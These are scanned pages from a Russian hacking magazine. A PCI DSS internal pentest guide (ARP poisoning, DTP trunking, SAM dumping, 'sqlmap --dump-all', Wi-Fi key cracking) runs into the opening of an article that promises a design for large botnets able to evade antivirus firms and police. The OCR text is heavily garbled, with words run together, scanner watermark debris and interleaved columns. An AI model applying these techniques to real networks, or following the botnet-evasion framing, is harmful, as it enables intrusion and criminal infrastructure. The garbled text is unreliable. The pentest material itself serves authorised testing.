•какие-либо детали обеспечения безопасности, которые необходимо учесть в ходе проведения обследова-
ния (например, блокировка учетных записей при N попытках неправильной аутентификации), особенности инфраструктуры и общие пожелания при проведении тестирования
Обладаявсейнеобходимойинформацией,перечисленнойвыше,можноорганизовыватьсвое временноепристанищевнаиболееоптимальном сегментесетииприступатькобследованию информационнойсистемы.
NETWORK-LAYER PENETRATION TESTS
Дляначаластоитпровестианализпробегающегомимосетевоготрафикаспомощьюлюбогосетевогоанализаторав«неразборчивом» режимеработысетевойкарты(promiscuous mode). Вкачествесетевогоанализаторадля подобныхцелейзамечательноподходит
Wireshark илиCommView. Чтобывыполнить этотэтап, хватит1-2 часовработыснифера. Попрошествииэтоговременинакопится достаточноданныхдляпроведенияанализа перехваченноготрафика. Ивпервуюочередь приегоанализеследуетобратитьвниманиена следующиепротоколы:
•протоколы коммутации (STP, DTP и т.п.)
•протоколы маршрутизации (RIP, EIGRP и т.д.)
•протоколы динамической конфигурации узла (DHCP, BOOTP)
•открытые протоколы (telnet, rlogin и т.п.)
Чтокасаетсяоткрытыхпротоколов,—вероятность того,чтоонипопадутсявовремяснифанияпроходящегомимотрафикавкоммутируемойсети, достаточномала.Однако,еслитакоготрафика много,товобследуемойсетиявнонаблюдаются проблемывнастройкахсетевогооборудования. Вовсехостальныхслучаяхприсутствуетвозможностьпроведениякрасивыхатак:
•классической атаки MITM (Man in the middle) в случае, когда используется DHCP, RIP
•получение роли корневого узла STP (Root Bridge), что позволяет перехватывать трафик соседних сегментов
•перевод порта в магистральный режим с помощью DTP (enable trunking); позволяет перехватывать весь трафик своего сегмента
•и других
Дляреализацииатакнапротоколыкоммутации доступензамечательныйинструментYersinia. Предположим,чтовпроцессеанализатрафика быливыявленыпролетающиемимоDTP-пакеты (смотрискриншот).ТогдаотправкапакетаDTP ACCESS/DESIRABLEможетпозволитьперевести порткоммутаторавмагистральныйрежим.Дальнейшееразвитиеэтойатакипозволяетпрослушиватьсвойсегмент.
Послетестированияканальногоуровнястоит переключитьвниманиенатретийуровеньOSI. ДошлаочередьидопроведенияатакиARPpoisoning.Тутвсепросто.Выбираеминструмент, например,Cain&AbelилиEttercapиобговариваемссотрудникамиИБдеталипроведенияэтой атаки(втомчисле,необходимостьвпроведении атаки,направленнойнаперехватодностороннегоSSL).Вседеловтом,чтовслучаеуспешной реализацииатакиARP-poisoningвотношении всегосвоегосегментаможетнаступитьситуация,когдакомпьютератакующегонесправится спотокомпоступающихданныхи,вконечном счете,этоможетстатьпричинойотказавобслуживаниицелогосегментасети.Поэтомунаиболее правильнымбудетвыбратьединичныецели, например,рабочиеместаадминистраторови/ илиразработчиков,какие-либоопределенные сервера(возможноконтроллердомена,СУБД, терминальныйсервер,etc).
УспешнопроведеннаяатакаARP-poisoning позволяетполучитьвоткрытомвидепаролик различныминформационнымресурсам—СУБД, каталогудомена(припонижениипроверки
XÀÊÅÐ 08 /128/ 09 |
053 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
WEB-BASED ИНТЕРФЕЙС
SAINTEXPLOIT
АТАКАНАПРОТОКОЛЫКОММУ- |
CORE IMPACT — ХАКЕРОММОЖЕТСТАТЬ |
ТАЦИИ |
КАЖДЫЙ |
INFO |
info
Тестирование напроникновение
всебольшенапоминаетигрувквест:).
подлинностиNTLM),SNMP-communitystringипр.Вменее удачномслучаемогутбытьполученыхеш-значенияотпаролей кразличнымсистемам,которыенужнобудетзавремяпроведенияпентестапостаратьсявосстановитьпорадужнымтаблицам (rainbowtables),пословарюилиатакой«влоб».Перехвачен- ныепаролимогутиспользоватьсягде-тоеще,ивпоследствии этотакженеобходимоподтвердитьилиопровергнуть.
Крометого,стоитпроанализироватьвесьперехваченный трафикнаприсутствиеCAV2/CVC2/CVV2/CID/PIN,передаваемыхвоткрытомвиде.Дляэтогоможнопропуститьсохраненный cap-файлчерезNetResidentи/или0x4553-Intercepter.Второй,
кстати,замечательноподходитдляанализанакопленного трафикавцелом.
APPLICATION-LAYER
PENETRATION TESTS
|
|
|
ПереходимначетвертыйуровеньOSI.Тут,впервуюочередь, |
|
HTTP://WWW |
|
всесводитсякинструментальномусканированиюобследуемой |
|
|
|
сети.Чемегопроводить?Выборнетакуживелик.Первона- |
links |
чальноесканированиеможновыполнитьсиспользованием |
• pcisecuritystandards. |
Nmapврежиме«Fastscan»(ключи-F-TAggressive|Insane), |
org — PCI Security |
анаследующихэтапахтестированияпроводитьсканирова- |
Standards Council. |
ниепоопределеннымпортам(ключ-p),например,вслучаях |
• pcisecurity.ru — поробнаружениянаиболеевероятныхвекторовпроникновения,
тал, посвященный |
связанныхсуязвимостямивопределенныхсетевыхсервисах. |
PCI DSS отИнформ- |
Параллельностоитзапуститьсканербезопасности—Nessus |
защиты. |
илиXSpider(упоследнегорезультатыпомясистейбудут)врежи- |
• pcidss.ru — пор- |
мевыполнениятолькобезопасныхпроверок.Припроведении |
тал, посвященный |
сканированиянауязвимостинеобходимотакжеобращатьвни- |
PCI DSS отDigital |
маниенаприсутствиеустаревшихсистем(например,Windows |
Security. |
NT4.0),потомукакстандартомPCIзапрещаетсяихиспользова- |
• isecom.org/osstmm |
ниеприобработкеданныхдержателейкарт. |
— Open Source |
Нестоит,приобнаружениикритическойуязвимостив |
Security Testing |
каком-либосервисе,сразужебросатьсянаееэксплуатацию. |
Methodology Manual. |
ПравильныйподходпритестированиипоPCI—это,во-первых, |
• owasp.org — Open |
получитьболееполнуюкартинусостояниязащищенности |
Web Application |
обследуемойсистемы(являетсялиэтауязвимостьслучайной |
Security Project. |
илионавстречаетсяповсеместно),аво-вторых,согласовать |
|
своидействияпоэксплуатациивыявленныхуязвимостейв |
|
определенныхсистемах. |
|
Итогамиинструментальногообследованиядолжныстать |
|
общаякартинареализованныхпроцессовИБиповерхностное |
|
пониманиесостояниязащищенностиинфраструктуры.Вовре- |
|
мяотработкискановможнопопроситьознакомитьсясисполь- |
|
зуемойполитикойИБвКомпании.Дляобщегосаморазвития:). |
|
Следующийэтап—выборцелейдляпроникновения.Наэтом |
|
этапеследуетпровестианализвсейсобраннойинформации, |
|
полученнойвходепрослушиваниятрафикаисканирования |
|
науязвимости.Вероятно,кэтомумоментуужебудутпрослежи- |
ватьсяуязвимыеилипотенциальноуязвимыесистемы.Следовательно,пришловремявоспользоватьсяэтиминедостатками. Какпоказываетпрактика,работапроходитпоследующимтрем направлениям.
1. ЭКСПЛУАТАЦИЯУЯЗВИМОСТЕЙ ВСЕТЕВЫХСЕРВИСАХ
Вдалекомпрошломосталосьвремя,когдаэксплоитингбыл уделомизбранных,способныххотябысобратьчужойкоди (оБоже!)подготовитьсвойшелл-код.Сейчасэксплуатация уязвимостейвсетевыхсервисах,такихкакпереполнение буфераиижесними,доступнакаждому.Причем,процессвсе большенапоминаетигрувжанре«квест».ВзятьхотябыCore
Impact,вкоторомвесьпентестсводитсякклацаньюмышкойпо различнымвыпадающимменюшкамвкрасивойGUI-обертке. Подобныйинструментарийздоровоэкономитвремя,которого привнутреннемпентесте нетакужимного.Потомушутки шутками,афичисет,реализованныйвCoreImpact,позволяет, особонеутруждаясь,последовательновыполнитьэксплуатацию,поднятиепривилегий,сборинформациииудаление следовсвоегопребываниявсистеме.ВсвязисчемCoreImpact пользуетсяособойпопулярностьюузападныхаудиторови пентестеров. Изобщедоступныхинструментовподобногородаможноупо-
мянутьследующиесборки:CoreImpact,CANVAS,SAINTexploitи
всемилюбимыйMetasploitFramework.Чтокасаетсяпервойтрой- ки,—этовсекоммерческиепродукты.Правда,некоторыестарые версиикоммерческихсборокутекаливсвоевремявинтернет.
Прижеланииможноотыскатьихвглобальнойсети(естественно, исключительносцельюсамообразования).Нуавесьбесплатный свежачоксплоитовдоступенивMetasploitFramework.Конечно, существуютzero-dayсборки,ноэтоужесовсемдругиеденьги.
Крометого,бытуетспорноемнение,чтоприпроведениипентеста ихиспользованиеявляетсянесовсемчестным.
Наосноведанныхсетевогосканированияможнонемного поигратьвхакеров:).Предварительносогласовавсписок мишеней,провестиэксплуатациюобнаруженныхуязвимостей, апослевыполнитьповерхностныйлокальныйаудитзахваченныхсистем.Собраннаянауязвимыхсистемахинформация можетпозволитьповыситьсвоипривилегииинадругихресурсахсети.Тоесть,есливпроцессепроведенияатакитыпорутал винду,тонелишнимбудетснятьснеебазуSAM(fgdump)для последующеговосстановленияпаролей,атакжесекретыLSA (Cain&Abel),вкоторыхзачастуюможетхранитьсявоткрытом видемногополезнойинформации.Кслову,послепроведения всехработсобраннаяинформацияопароляхможетрасцениватьсявконтекстесоответствияилинесоответствиятребо-
ваниямстандартаPCIDSS(п.2.1,п.2.1.1,п.6.3.5,п.6.3.6,п.8.4, п.8.5.x).
054 |
XÀÊÅÐ 08 /128/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
GUI CANVAS СХОЖ СИНТЕРФЕЙ- |
||
|
|
СОМMETASPLOIT |
||
ВСЕМИЛЮБИМЫЙMETASPLOIT FRAMEWORK |
|
|
|
|
|
|
|
|
|
2. АНАЛИЗ |
|
|
(например, аудит конфигурации или |
|
различногородауязвимостейвWeb-приложениях. |
|
возможность спуститься на уровень |
|
|
РАЗГРАНИЧЕНИЯДОСТУПА |
Поповодуручнойверификацииуязвимостей |
|
выполнения команд ОС) |
|
Анализразграничениядоступанеобходимовыпол- |
вWeb!Необходимо,какминимум,проверить |
|
|
|
|
|
|
||
нятьнавсехинформационныхресурсах,накоторые |
механизмыаутентификациииавторизации,ис- |
Заключительныйэтаптестированиянапроник- |
||
удалосьреализоватьНСД.Инаобщихфайловых |
пользованиепростыхкомбинацийлогин-пароль, |
новенияпоPCI—этоанализзащищенности |
||
ресурсахWindows(SMB),накоторыхоткрыт |
дефолтов,атакжевсемилюбимыеSQL–инъекции, |
беспроводныхсетей,вернее,даженеанализ,а |
||
анонимныйдоступ—тоже.Зачастуюэтопозволяет |
инклудинг-файловивыполнениекоманднасерве- |
поискточекдоступа,использующихуязвимые |
||
получитьдополнительнуюинформациюоресурсах, |
ре.Чтокасаетсяclient-sideуязвимостей,то,кроме |
конфигурации,такихкакOpenAP,WEPиWPA/ |
||
которыенебылиобнаруженывовремясетевого |
верифицированиявозможностиэксплуатации |
PSK.Сдругойстороны,стандартPCIнезапрещает |
||
сканирования,илинаткнутьсянадругуюинфор- |
уязвимости,тутболееничегонетребуется.Авотс |
проводитьболееглубокийанализ,втомчислес |
||
мацию,различнойстепениконфиденциальности, |
server-sideнеобходимонемногоповозиться,ибо |
восстановлениемключейдляподключениякбес- |
||
хранимуювоткрытомвиде.Припроведениитести- |
все-такипентест,хотьипоPCIDSS.Какяотмечал |
проводнойсети.Потомуимеетсмыслосуществить |
||
рованияпоPCI,впервуюочередь,поискнаправлен |
ранее,мыищемPAN,CardholderNameиCVC2/ |
подобногородаработы.Основнымжеинстру- |
||
наобнаружениеданныхдержателякарт.Поэтому |
CVV2опционально.Вероятнеевсего,подобные |
ментомнаэтомэтапе,конечно,будетaircrack-ng. |
||
важнопонимать,какмогутвыглядетьэтиданные |
данныесодержатсявСУБД,апотомувслучае |
Дополнительноможнопровестиатаку,направ- |
||
иискатьихвовсехинформационныхресурсах,к |
нахожденияSQL-инъекциистоитоценитьимена |
леннуюнабеспроводныхклиентов,известную |
||
которымимеетсясоответствующийдоступ. |
таблиц,колонок;желательносделатьнесколько |
как«CaffeLatte»,сиспользованиемвсетогоже |
||
3. АТАКАТИПАБРУТФОРС |
тестовыхвыборок,чтобыподтвердитьилиопро- |
инструмента.Припроведенииобследованиябес- |
||
вергнутьприсутствиеподобныхданныхвбазев |
проводныхсетейможносмелоруководствоваться |
|||
Необходимо,какминимум,проверитьдефолты |
незашифрованномвиде.ЕслистолкнулсясBlind |
даннымиссайтаWirelessdefence.org. |
||
ипростыекомбинациилогин-пароль.Подобные |
SQL-иъекцией,толучшенатравитьнаWeb-сервер |
ВМЕСТОЗАКЛЮЧЕНИЯ |
||
проверкитребуетсяпровести,преждевсего,вот- |
sqlmap(сключом--dump-all),которыйнатекущий |
|||
ношениисетевогооборудования(втомчисле,для |
моментработаетсMySQL,Oracle,PostgreSQLи |
Порезультатамтестированияпроводитсяанализ |
||
SNMP)иинтерфейсовудаленногоадминистри- |
MicrosoftSQLServer.Этихданныхбудетдостаточно |
всейсобраннойинформациивконтекстесоот- |
||
рования.ПрипроведенииAsV-сканированияпо |
длядемонстрациииспользованияуязвимости. |
ветствиятехническимтребованиямстандарта |
||
PCIDSSнеразрешаетсяосуществлять«тяжелый» |
Дальнейшийэтап—этоанализзащищеннос- |
PCI DSS. Такимжеобразомданные, получен- |
||
брутфорс,которыйможетпривестиксостоянию |
тиСУБД.Опятьже,естьотличныйинструмент |
ныеприпентесте, можноинтерпретироватьв |
||
DoS.Новнашемслучаеречьидетпровнутренний |
—AppDetectiveот«ApplicationSecurityInc.», |
контекстелюбогодругоговысокоуровневого |
||
пентестпоPCI,апотомувразумномвидеибез |
ноэтодорогоеудовольствие.Ксожалению, |
документа, содержащеготехническиекри- |
||
фанатизмастоитосуществитьатакупоподбору |
аналогичногосканерабезопасности,который |
терииирекомендацииксистемеуправления |
||
простыхкомбинацийпаролейкразличнымин- |
бывыдавалтакойобъеминформации,какэто |
информационнойбезопасности. Относительно |
||
формационнымресурсам(СУБД,WEB,ОСит.п.). |
умеетAppDetective,иподдерживалстолькоже |
используемогошаблонадляотчетныхдокумен- |
||
Очереднойэтап—этоанализзащищенностиWeb- |
СУБД,внастоящеевремянесуществует.Ипотому товпоPCI, — можноиспользоватьтребования |
|||
приложений.ПрипентестепоPCIпроглубокийана- |
приходитсябратьнавооружениемножество |
MasterCard котчетупоAsV-сканированию. В |
||
лизWebречинеидет.ОставимэтоQSA-аудиторам. |
отдельных,несвязанныхмеждусобойпродуктов, |
нихпредусматриваетсяразделениеотчетана |
||
Здесьдостаточноосуществитьblackbox-сканиро- |
которыезаточеныподработусопределенными |
двадокумента— документверхнегоуровнядля |
||
ваниесвыборочнойверификациейэксплуатабель- |
вендорами.Так,дляораклятиныминимальный |
руководителя, вкоторомсодержатсякрасивые |
||
ныхserver/client-sideуязвимостей.Вдополнение |
наборпентестерабудетследующим: |
графикииуказанпроцентсоответствиятекущего |
||
кужеупомянутымсканерамбезопасностиможно |
|
состояниясистемытребованиямPCI DSS, и |
||
воспользоватьсясканерами,заточеннымипод |
• Oracle Database Client — окружение |
техническийдокумент, содержащийпротокол |
||
анализWeb.Идеальноерешение— HPWebInspect |
для работы с СУБД |
проведенноготестированиянапроникновение, |
||
илиAcunetixWebVulnerabilityScanner(который, |
• Toad for Oracle — клиент для работы |
выявленныеиэксплуатируемыеуязвимости, а |
||
кстати,на«отлично»детектитбагивAJAX).Новсе |
ñ PL/SQL |
такжерекомендациипоприведениюинформа- |
||
это—дорогаяинепозволительнаяроскошь,араз |
• Oracle Assessment Kit — áðóò ïîëü- |
ционнойсистемывсоответствиестребованиями |
||
так,тонамподойдетиw3af,которыйвпоследнее |
зователей и SID’ов баз |
MasterCard. Засиммогупопрощатьсяипожелать |
||
времянабираетоборотывпланедетектирования |
• различные сценарии на языке PL/SQL |
удачивисследованиях! z |
||
|
|
|
|
|
XÀÊÅÐ 08 /128/ 09 |
055 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|
|
|
|
|
||||
w Click |
to |
|
|
|
взлом |
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Controlling |
|
Bot Infection |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Server |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
NUMBER OF COMMANDS
IN RESPONSE TO THE COMMANDS FROM
A MALICIOUS USER, CONCURRENT ATTACKS TO TARGETING SITE BEGIN
Concurrent |
Attacks |
- Infection Activities |
- DoS Attacks |
- Spam Mails |
- Spyware |
- Upgrades its |
functionalities, etc |
|
|
Targeting Site |
Malicious |
Internet |
for Attacks |
User |
|
|
User |
|
|
|
|
РОМАН «PREDIDENTUA» ХОМЕНКО / HTTP://TUTAMC.COM, SPIRT40@GMAIL.COM /
ВЕЧНЫЙ
БОТНЕТ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
ПРИНЦИПЫЗАЩИТЫБОЛЬШИХБОТ-СЕТЕЙ
Большиеботнеты— закрытаятема, накоторуюнеточтовпабликене разговаривают, адажевсверх-секретном-приватемалоинтересных обсуждений. Иоднаизпричин— ограниченноеколичествотаких бот-сетей(ведьмыговоримосотняхтысячзараженныхкомпов!). Но, несмотрянаотносительнуюзакрытостьэтойинформации, ятебеповедаюабсолютновсесамоеинтересное.
>> взлом
Двагоданазадмоя«аналитическая»группапо- Встатьемырассмотрим: |
ОХ, НЕПРОСТАЯЖИЗНЬ |
|
лучилазаказнаразработкуидеальнойархитек- |
|
УБОЛЬШИХБОТНЕТОВ... |
турыбольшогоботнета.Месяцушелнаизучение |
• Условия существования больших |
Еслиутебяботнетна1000или10.000компов, |
существующихрешенийипродумываниесвоих |
ботнетов |
то,разумеется,сниммногопроблем.Новсеони |
вариантов.То,чтополучилось,былореализовано |
• Удержание контроля |
кажутсяничтожнымипосравнениюстраблами, |
исейчасотличноработает:).Сзаказчикомбыл |
• Генерацию доменов |
когдаразмерсетиперевалилзацифрув100.000. |
договор,что2годамынебудемраспространять |
• Масштабируемость |
Натебяитвойботнетоткроютнастоящуюохоту |
этуинформацию.Сейчасвремявышло,иты |
• Возможность разделения |
антивирусныекомпании,правоохранительные |
будешьпервый,кто,можетбыть,сумеетреализо- |
• Подачу команд, их защиту |
органыиобычныегении,которымотнефигделать |
ватьархитектурудлясвоегоботнета. |
• Возврат результатов |
захочетсяпосмотретькишкитвоегобота.Даи |
|
|
|
056 |
XÀÊÅÐ 08 /128/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
>> взломw Click |
|
BUY |
|
|
|||||||
|
to |
|
|
|
|
m |
||||||
|
|
|
|
|
|
|||||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
IN RESPONSE TO THE COMMANDS FROM |
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
|
|
-x cha |
|
|
|
|
||
A MALICIOUS USER, CONCURRENT ATTACKS
TO TARGETING SITE BEGIN
УПРАВЛЕНИЕБОТНЕТОМПО СХЕМЕ ЕДИНОГОСЕРВЕРА
Targeting
|
|
|
|
АТАКФЕДЕРА- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЛЫБУДУТИС- |
|
|
|
УПРАВЛЕНИЕ |
КАТЬПАРОЛЬ В |
|
|
|
БОТНЕТОМПО |
ТВОЕМБОТЕ |
|
|
|
СХЕМЕ P2P |
|
БЕЗЧЕРЧЕНИЯСЛОЖНОАРХИТЕКТУРУ РАЗРАБАТЫВАТЬ:)
«коллеги»неоставятвпокое,—всемисредства- |
ФБР,ФСБ,СБУипр.)ибыстреньковсеконфис- |
мибудутпытатьсяугнатьботнет.Тебя,конечно, |
куют.Сэтогорождаетсявтороеправило:«Ботнет |
ждетслава,иможетдажепокажутпоТВ,ноэтот |
долженуправлятьсясобычныхсерверов». |
пиарспособенполностьюубитьвесьбизнес,если |
Приступимкрассмотрениюархитектуры,соот- |
архитектуработнетаокажетсяплохой. |
ветствующейэтимправилам. |
Этовойна,ивнейможнопобедить,лишьисполь- |
КОМАНДНЫЙЦЕНТР |
зовавпоследниедостижениевнауке.Чтобыубить |
|
твойботнет,«враги»будутанализироватьего, |
Способобщениясботами—это«позвоноч- |
смотреть,чтоикаконделает,даиещедизассемб- |
ник»ботнета.Раньшеоченьпопулярнойбыла |
лироватькод.Иникакиеантиотладочныеприемы, |
передачакомандчерезIRC,гдеботызаходили |
многократнаяполиморфнаякриптовкаипрочее |
взаранееопределенныекомнатыиждали,что |
непомогутзакрытьотнихвнутренностибота. |
кто-топередастимкоманду.Ну,этотметодтолько |
Сэтойпроблемойможнобороться,соблюдая |
археологисейчасиспользуют,иомножествахего |
первоеправилоботнетов:«Нужностроитьботов, проблемдаженехочетсяговорить.Сейчасчаще
считая,чтовсяинформацияонихбудетполновсегоюзаетсясхемаp2pилиweb.
